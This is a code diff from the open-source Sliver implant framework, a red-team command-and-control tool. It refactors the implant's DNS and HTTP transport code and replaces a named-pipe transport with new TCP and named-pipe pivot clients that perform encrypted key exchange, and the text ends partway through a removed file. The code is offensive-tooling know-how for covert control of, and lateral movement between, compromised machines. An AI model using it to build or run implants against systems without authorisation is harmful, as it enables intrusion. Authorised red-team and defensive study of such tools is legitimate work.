@@ -42,10 +42,12 @@ type SystemResolver struct {
|
||||
base64 encoders.Base64
|
||||
}
|
||||
|
||||
// Address - Returns the address of the resolver
|
||||
func (r *SystemResolver) Address() string {
|
||||
return "system"
|
||||
}
|
||||
|
||||
// A - Query for A records
|
||||
func (r *SystemResolver) A(domain string) ([]byte, time.Duration, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] %s->A record of %s?", r.Address(), domain)
|
||||
@@ -68,6 +70,7 @@ func (r *SystemResolver) A(domain string) ([]byte, time.Duration, error) {
|
||||
return addrs, rtt, nil
|
||||
}
|
||||
|
||||
// TXT - Query for TXT records
|
||||
func (r *SystemResolver) TXT(domain string) ([]byte, time.Duration, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] %s->A record of %s?", r.Address(), domain)
|
||||
|
||||
@@ -21,10 +21,6 @@ package httpclient
|
||||
// {{if .Config.HTTPc2Enabled}}
|
||||
|
||||
import (
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/tls"
|
||||
@@ -33,14 +29,19 @@ import (
|
||||
"io"
|
||||
"io/ioutil"
|
||||
insecureRand "math/rand"
|
||||
"strings"
|
||||
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/cryptography"
|
||||
"github.com/bishopfox/sliver/implant/sliver/encoders"
|
||||
"github.com/bishopfox/sliver/implant/sliver/proxy"
|
||||
@@ -64,6 +65,7 @@ type HTTPOptions struct {
|
||||
NetTimeout time.Duration
|
||||
TlsTimeout time.Duration
|
||||
PollTimeout time.Duration
|
||||
MaxErrors int
|
||||
|
||||
ProxyConfig string
|
||||
ProxyUsername string
|
||||
@@ -74,29 +76,25 @@ type HTTPOptions struct {
|
||||
func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
|
||||
netTimeout, err := time.ParseDuration(c2URI.Query().Get("net-timeout"))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to parse poll-timeout %s", err)
|
||||
// {{end}}
|
||||
netTimeout = time.Duration(30 * time.Second)
|
||||
}
|
||||
tlsTimeout, err := time.ParseDuration(c2URI.Query().Get("tls-timeout"))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to parse poll-timeout %s", err)
|
||||
// {{end}}
|
||||
tlsTimeout = time.Duration(30 * time.Second)
|
||||
}
|
||||
pollTimeout, err := time.ParseDuration(c2URI.Query().Get("poll-timeout"))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to parse poll-timeout %s", err)
|
||||
// {{end}}
|
||||
pollTimeout = time.Duration(30 * time.Second)
|
||||
}
|
||||
maxErrors, err := strconv.Atoi(c2URI.Query().Get("max-errors"))
|
||||
if err != nil || maxErrors < 0 {
|
||||
maxErrors = 10
|
||||
}
|
||||
return &HTTPOptions{
|
||||
NetTimeout: netTimeout,
|
||||
TlsTimeout: tlsTimeout,
|
||||
PollTimeout: pollTimeout,
|
||||
MaxErrors: maxErrors,
|
||||
|
||||
ProxyConfig: c2URI.Query().Get("proxy"),
|
||||
ProxyUsername: c2URI.Query().Get("proxy-username"),
|
||||
|
||||
@@ -1,132 +0,0 @@
|
||||
//go:build windows
|
||||
|
||||
package namedpipe
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// {{if .Config.NamePipec2Enabled}}
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"net"
|
||||
"net/url"
|
||||
"strings"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/lesnuages/go-winio"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
readBufSizeNamedPipe = 1024
|
||||
writeBufSizeNamedPipe = 1024
|
||||
)
|
||||
|
||||
func NamedPipeConnect(uri *url.URL) (net.Conn, error) {
|
||||
address := uri.String()
|
||||
address = strings.ReplaceAll(address, "namedpipe://", "")
|
||||
address = "\\\\" + strings.ReplaceAll(address, "/", "\\")
|
||||
// {{if .Config.Debug}}
|
||||
log.Print("Named pipe address: ", address)
|
||||
// {{end}}
|
||||
return winio.DialPipe(address, nil)
|
||||
}
|
||||
|
||||
func WriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
|
||||
data, err := proto.Marshal(envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Print("[namedpipe] Marshaling error: ", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
dataLengthBuf := new(bytes.Buffer)
|
||||
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
|
||||
_, err = (*conn).Write(dataLengthBuf.Bytes())
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Error %s and %d\n", err, dataLengthBuf)
|
||||
// {{end}}
|
||||
}
|
||||
totalWritten := 0
|
||||
for totalWritten < len(data)-writeBufSizeNamedPipe {
|
||||
n, err2 := (*conn).Write(data[totalWritten : totalWritten+writeBufSizeNamedPipe])
|
||||
totalWritten += n
|
||||
if err2 != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Error %s\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
if totalWritten < len(data) {
|
||||
missing := len(data) - totalWritten
|
||||
_, err := (*conn).Write(data[totalWritten : totalWritten+missing])
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Error %s", err)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func ReadEnvelope(conn *net.Conn) (*sliverpb.Envelope, error) {
|
||||
dataLengthBuf := make([]byte, 4)
|
||||
_, err := (*conn).Read(dataLengthBuf)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Error (read msg-length): %s", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
|
||||
readBuf := make([]byte, readBufSizeNamedPipe)
|
||||
dataBuf := make([]byte, 0)
|
||||
totalRead := 0
|
||||
for {
|
||||
n, err := (*conn).Read(readBuf)
|
||||
dataBuf = append(dataBuf, readBuf[:n]...)
|
||||
totalRead += n
|
||||
if totalRead == dataLength {
|
||||
break
|
||||
}
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("read error: %s\n", err)
|
||||
// {{end}}
|
||||
break
|
||||
}
|
||||
}
|
||||
envelope := &sliverpb.Envelope{}
|
||||
err = proto.Unmarshal(dataBuf, envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Unmarshal envelope error: %s", err)
|
||||
// {{end}}
|
||||
return &sliverpb.Envelope{}, err
|
||||
}
|
||||
return envelope, nil
|
||||
}
|
||||
|
||||
// {{end}} -NamePipec2Enabled
|
||||
@@ -0,0 +1,50 @@
|
||||
package pivotclients
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"net/url"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
defaultNamedPipeDeadline = time.Second * 10
|
||||
)
|
||||
|
||||
// ParseNamedPipePivotOptions - Parse the options for the TCP pivot from a C2 URL
|
||||
func ParseNamedPipePivotOptions(uri *url.URL) *NamedPipePivotOptions {
|
||||
readDeadline, err := time.ParseDuration(uri.Query().Get("read-deadline"))
|
||||
if err != nil {
|
||||
readDeadline = defaultNamedPipeDeadline
|
||||
}
|
||||
writeDeadline, err := time.ParseDuration(uri.Query().Get("write-deadline"))
|
||||
if err != nil {
|
||||
writeDeadline = defaultNamedPipeDeadline
|
||||
}
|
||||
return &NamedPipePivotOptions{
|
||||
ReadDeadline: readDeadline,
|
||||
WriteDeadline: writeDeadline,
|
||||
}
|
||||
}
|
||||
|
||||
// NamedPipePivotOptions - Options for the NamedPipe pivot
|
||||
type NamedPipePivotOptions struct {
|
||||
ReadDeadline time.Duration
|
||||
WriteDeadline time.Duration
|
||||
}
|
||||
+8
-9
@@ -1,12 +1,6 @@
|
||||
//go:build !windows
|
||||
|
||||
package namedpipe
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"net"
|
||||
"net/url"
|
||||
)
|
||||
package pivotclients
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
@@ -26,6 +20,11 @@ import (
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
func NamedPipeConnect(_ *url.URL) (net.Conn, error) {
|
||||
return nil, errors.New("{{if .Config.Debug}}NamedPipeConnect not implemented on this platform{{end}}")
|
||||
import (
|
||||
"errors"
|
||||
)
|
||||
|
||||
// NamedPipeConnect - Non windows implementation of the named pipe client
|
||||
func NamedPipePivotStartSession(_ string, _ *NamedPipePivotOptions) (*NetConnPivotClient, error) {
|
||||
return nil, errors.New("unsupported platform")
|
||||
}
|
||||
@@ -0,0 +1,70 @@
|
||||
package pivotclients
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// {{if .Config.NamePipec2Enabled}}
|
||||
|
||||
import (
|
||||
"net/url"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/lesnuages/go-winio"
|
||||
)
|
||||
|
||||
// NamedPipePivotStartSession - Start a TCP pivot session with a peer
|
||||
func NamedPipePivotStartSession(uri *url.URL, opts *NamedPipePivotOptions) (*NetConnPivotClient, error) {
|
||||
address := uri.String()
|
||||
address = strings.ReplaceAll(address, "namedpipe://", "")
|
||||
address = "\\\\" + strings.ReplaceAll(address, "/", "\\")
|
||||
// {{if .Config.Debug}}
|
||||
log.Print("Pivot named pipe address: ", address)
|
||||
// {{end}}
|
||||
conn, err := winio.DialPipe(address, nil)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
pivot := &NetConnPivotClient{
|
||||
conn: conn,
|
||||
readMutex: &sync.Mutex{},
|
||||
writeMutex: &sync.Mutex{},
|
||||
|
||||
readDeadline: opts.ReadDeadline,
|
||||
writeDeadline: opts.WriteDeadline,
|
||||
}
|
||||
err = pivot.peerKeyExchange()
|
||||
if err != nil {
|
||||
conn.Close()
|
||||
return nil, err
|
||||
}
|
||||
err = pivot.serverKeyExchange()
|
||||
if err != nil {
|
||||
conn.Close()
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return pivot, nil
|
||||
}
|
||||
|
||||
// {{end}} -NamePipec2Enabled
|
||||
@@ -0,0 +1,364 @@
|
||||
package pivotclients
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/rand"
|
||||
"encoding/base64"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"net"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/cryptography"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/gofrs/uuid"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
var (
|
||||
OriginID = originID() // The origin's PeerID
|
||||
)
|
||||
|
||||
// originID - Random origin identifier
|
||||
func originID() int64 {
|
||||
buf := make([]byte, 8)
|
||||
rand.Read(buf)
|
||||
return int64(binary.LittleEndian.Uint64(buf))
|
||||
}
|
||||
|
||||
// NetConnPivotClient - A TCP pivot client
|
||||
type NetConnPivotClient struct {
|
||||
originID int64
|
||||
pivotSessionID []byte
|
||||
conn net.Conn
|
||||
readMutex *sync.Mutex
|
||||
writeMutex *sync.Mutex
|
||||
peerCipherCtx *cryptography.CipherContext
|
||||
serverCipherCtx *cryptography.CipherContext
|
||||
|
||||
readDeadline time.Duration
|
||||
writeDeadline time.Duration
|
||||
}
|
||||
|
||||
// KeyExchange - Perform the key exchange with peer and then the upstream server
|
||||
func (p *NetConnPivotClient) KeyExchange() error {
|
||||
err := p.peerKeyExchange()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Peer key exchange successful")
|
||||
// {{end}}
|
||||
err = p.serverKeyExchange()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Server key exchange successful")
|
||||
// {{end}}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *NetConnPivotClient) peerKeyExchange() error {
|
||||
publicKey, err := base64.RawStdEncoding.DecodeString(cryptography.ECCPublicKey)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error decoding public key: %v", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
pivotHello, _ := proto.Marshal(&pb.PivotHello{
|
||||
PublicKey: publicKey,
|
||||
PublicKeySignature: cryptography.ECCPublicKeySignature,
|
||||
})
|
||||
|
||||
// Enforce deadlines on the key exchange
|
||||
p.conn.SetWriteDeadline(time.Now().Add(p.writeDeadline))
|
||||
p.write(pivotHello)
|
||||
p.conn.SetWriteDeadline(time.Time{})
|
||||
|
||||
p.conn.SetReadDeadline(time.Now().Add(p.readDeadline))
|
||||
peerPublicKeyRaw, err := p.read()
|
||||
p.conn.SetReadDeadline(time.Time{})
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error reading peer public key: %v", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
peerHello := &pb.PivotHello{}
|
||||
err = proto.Unmarshal(peerPublicKeyRaw, peerHello)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error un-marshaling peer public key: %v", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
peerSessionKey, err := cryptography.ECCDecryptFromPeer(peerHello.PublicKey, peerHello.PublicKeySignature, peerHello.SessionKey)
|
||||
if err != nil || len(peerSessionKey) != 32 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error decrypting session key: %v", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
peerSessionKeyBuf := [32]byte{}
|
||||
copy(peerSessionKeyBuf[:], peerSessionKey)
|
||||
p.peerCipherCtx = cryptography.NewCipherContext(peerSessionKeyBuf)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *NetConnPivotClient) serverKeyExchange() error {
|
||||
p.originID = OriginID
|
||||
serverSessionKey := cryptography.RandomKey()
|
||||
p.serverCipherCtx = cryptography.NewCipherContext(serverSessionKey)
|
||||
ciphertext, err := cryptography.ECCEncryptToServer(serverSessionKey[:])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
pivotServerKeyExchange, _ := proto.Marshal(&pb.PivotServerKeyExchange{
|
||||
OriginID: p.originID,
|
||||
SessionKey: ciphertext,
|
||||
})
|
||||
pivotServerKeyExchangeEnvelope, _ := proto.Marshal(&pb.Envelope{
|
||||
Type: pb.MsgPivotServerKeyExchange,
|
||||
Data: pivotServerKeyExchange,
|
||||
})
|
||||
keyExchangeCiphertext, err := p.peerCipherCtx.Encrypt(pivotServerKeyExchangeEnvelope)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Sending server key exchange ...")
|
||||
// {{end}}
|
||||
p.conn.SetWriteDeadline(time.Now().Add(p.writeDeadline))
|
||||
err = p.write(keyExchangeCiphertext)
|
||||
p.conn.SetWriteDeadline(time.Time{})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Waiting for server key exchange response (5m) ...")
|
||||
// {{end}}
|
||||
// Now that both peer/server cipher contexts are setup we can use ReadEnvelope() we use
|
||||
// a different read deadline here as this has to go round trip to the server if the
|
||||
// upstream implant uses a slow protocol it may take a while to go there and back again
|
||||
p.conn.SetReadDeadline(time.Now().Add(5 * time.Minute))
|
||||
serverKeyExchangeResp, err := p.ReadEnvelope()
|
||||
p.conn.SetReadDeadline(time.Time{})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if serverKeyExchangeResp.Type != pb.MsgPivotServerKeyExchange {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Unexpected message type: %v", serverKeyExchangeResp.Type)
|
||||
// {{end}}
|
||||
return errors.New("server key exchange failure")
|
||||
}
|
||||
// Just make sure we can parse the bytes
|
||||
p.pivotSessionID = uuid.FromBytesOrNil(serverKeyExchangeResp.Data).Bytes()
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Pivot session ID: %s",
|
||||
uuid.FromBytesOrNil(serverKeyExchangeResp.Data).String(),
|
||||
)
|
||||
// {{end}}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// write - Write a message to the TCP pivot with a length prefix
|
||||
// it's unlikely we can't write the 4-byte length prefix in one write
|
||||
// so we fail if we can't, messages may be much longer so we try to
|
||||
// drain the message buffer if we didn't complete the write
|
||||
func (p *NetConnPivotClient) write(message []byte) error {
|
||||
p.writeMutex.Lock()
|
||||
defer p.writeMutex.Unlock()
|
||||
n, err := p.conn.Write(p.lengthOf(message))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error writing message length: %v", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
if n != 4 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error writing message length: %v", err)
|
||||
// {{end}}
|
||||
return ErrFailedWrite
|
||||
}
|
||||
|
||||
total := 0
|
||||
for total < len(message) {
|
||||
n, err = p.conn.Write(message[total:])
|
||||
total += n
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error writing message: %v", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *NetConnPivotClient) read() ([]byte, error) {
|
||||
p.readMutex.Lock()
|
||||
defer p.readMutex.Unlock()
|
||||
dataLengthBuf := make([]byte, 4)
|
||||
n, err := p.conn.Read(dataLengthBuf)
|
||||
if err != nil || n != 4 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error (read msg-length): %v\n", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
|
||||
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
|
||||
readBuf := make([]byte, bufSize)
|
||||
dataBuf := []byte{}
|
||||
totalRead := 0
|
||||
for {
|
||||
n, err := p.conn.Read(readBuf)
|
||||
dataBuf = append(dataBuf, readBuf[:n]...)
|
||||
totalRead += n
|
||||
if totalRead == dataLength {
|
||||
break
|
||||
}
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("read error: %s\n", err)
|
||||
// {{end}}
|
||||
break
|
||||
}
|
||||
}
|
||||
return dataBuf, err
|
||||
}
|
||||
|
||||
func (p *NetConnPivotClient) lengthOf(message []byte) []byte {
|
||||
dataLengthBuf := new(bytes.Buffer)
|
||||
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(message)))
|
||||
return dataLengthBuf.Bytes()
|
||||
}
|
||||
|
||||
// WriteEnvelope - Write a complete envelope
|
||||
func (p *NetConnPivotClient) WriteEnvelope(envelope *pb.Envelope) error {
|
||||
plaintext, err := proto.Marshal(envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Marshaling error: %s", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
var peerPlaintext []byte
|
||||
if envelope.Type != pb.MsgPivotPeerPing {
|
||||
// Prepend the message with the pivot session ID
|
||||
// note this can only be done after the server key change
|
||||
ciphertext, err := p.serverCipherCtx.Encrypt(plaintext)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Server encryption error: %s", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
msgBuf := make([]byte, len(p.pivotSessionID)+len(ciphertext))
|
||||
copy(msgBuf, p.pivotSessionID)
|
||||
copy(msgBuf[len(p.pivotSessionID):], ciphertext)
|
||||
peerPlaintext, _ = proto.Marshal(&pb.Envelope{
|
||||
Type: pb.MsgPivotOriginEnvelope,
|
||||
Data: msgBuf,
|
||||
})
|
||||
} else {
|
||||
// Pivot pings are not encrypted with the sever key
|
||||
peerPlaintext = plaintext
|
||||
}
|
||||
|
||||
peerCiphertext, err := p.peerCipherCtx.Encrypt(peerPlaintext)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Peer encryption error: %s", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
return p.write(peerCiphertext)
|
||||
}
|
||||
|
||||
// ReadEnvelope - Read a complete envelope
|
||||
func (p *NetConnPivotClient) ReadEnvelope() (*pb.Envelope, error) {
|
||||
data, err := p.read()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error reading message: %v", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
data, err = p.peerCipherCtx.Decrypt(data)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Peer decryption error: %s", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
peerEnvelope := &pb.Envelope{}
|
||||
err = proto.Unmarshal(data, peerEnvelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error unmarshal origin envelope: %v", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
// The only msg type that isn't encrypted by the server should be pivot pings
|
||||
if peerEnvelope.Type == pb.MsgPivotPeerPing {
|
||||
return peerEnvelope, nil
|
||||
}
|
||||
if peerEnvelope.Type != pb.MsgPivotOriginEnvelope {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error unexpected envelope type (non-origin)")
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
plaintext, err := p.serverCipherCtx.Decrypt(peerEnvelope.Data)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Server decryption error: %s", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
envelope := &pb.Envelope{}
|
||||
err = proto.Unmarshal(plaintext, envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error unmarshal envelope: %v", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
return envelope, nil
|
||||
}
|
||||
|
||||
// CloseSession - Close the TCP pivot session
|
||||
func (p *NetConnPivotClient) CloseSession() error {
|
||||
return p.conn.Close()
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
package pivotclients
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"net"
|
||||
"net/url"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
const (
|
||||
bufSize = 1024
|
||||
)
|
||||
|
||||
var (
|
||||
ErrFailedWrite = errors.New("write failed")
|
||||
|
||||
defaultDeadline = time.Second * 10
|
||||
)
|
||||
|
||||
// ParseTCPPivotOptions - Parse the options for the TCP pivot from a C2 URL
|
||||
func ParseTCPPivotOptions(uri *url.URL) *TCPPivotOptions {
|
||||
readDeadline, err := time.ParseDuration(uri.Query().Get("read-deadline"))
|
||||
if err != nil {
|
||||
readDeadline = defaultDeadline
|
||||
}
|
||||
writeDeadline, err := time.ParseDuration(uri.Query().Get("write-deadline"))
|
||||
if err != nil {
|
||||
writeDeadline = defaultDeadline
|
||||
}
|
||||
return &TCPPivotOptions{
|
||||
ReadDeadline: readDeadline,
|
||||
WriteDeadline: writeDeadline,
|
||||
}
|
||||
}
|
||||
|
||||
// TCPPivotOptions - Options for the TCP pivot
|
||||
type TCPPivotOptions struct {
|
||||
ReadDeadline time.Duration
|
||||
WriteDeadline time.Duration
|
||||
}
|
||||
|
||||
// TCPPivotStartSession - Start a TCP pivot session with a peer
|
||||
func TCPPivotStartSession(peer string, opts *TCPPivotOptions) (*NetConnPivotClient, error) {
|
||||
conn, err := net.Dial("tcp", peer)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
pivot := &NetConnPivotClient{
|
||||
conn: conn,
|
||||
readMutex: &sync.Mutex{},
|
||||
writeMutex: &sync.Mutex{},
|
||||
|
||||
readDeadline: opts.ReadDeadline,
|
||||
writeDeadline: opts.WriteDeadline,
|
||||
}
|
||||
err = pivot.KeyExchange()
|
||||
if err != nil {
|
||||
conn.Close()
|
||||
return nil, err
|
||||
}
|
||||
return pivot, nil
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -1,94 +0,0 @@
|
||||
package transports
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"net"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
bufSize = 1024
|
||||
)
|
||||
|
||||
func tcpPivotWriteEnvelope(conn *net.Conn, envelope *pb.Envelope) error {
|
||||
data, err := proto.Marshal(envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Print("[tcppivot] Marshaling error: ", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
dataLengthBuf := new(bytes.Buffer)
|
||||
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
|
||||
_, err = (*conn).Write(dataLengthBuf.Bytes())
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcppivot] Error %v and %d\n", err, dataLengthBuf)
|
||||
// {{end}}
|
||||
}
|
||||
totalWritten := 0
|
||||
for totalWritten < len(data)-bufSize {
|
||||
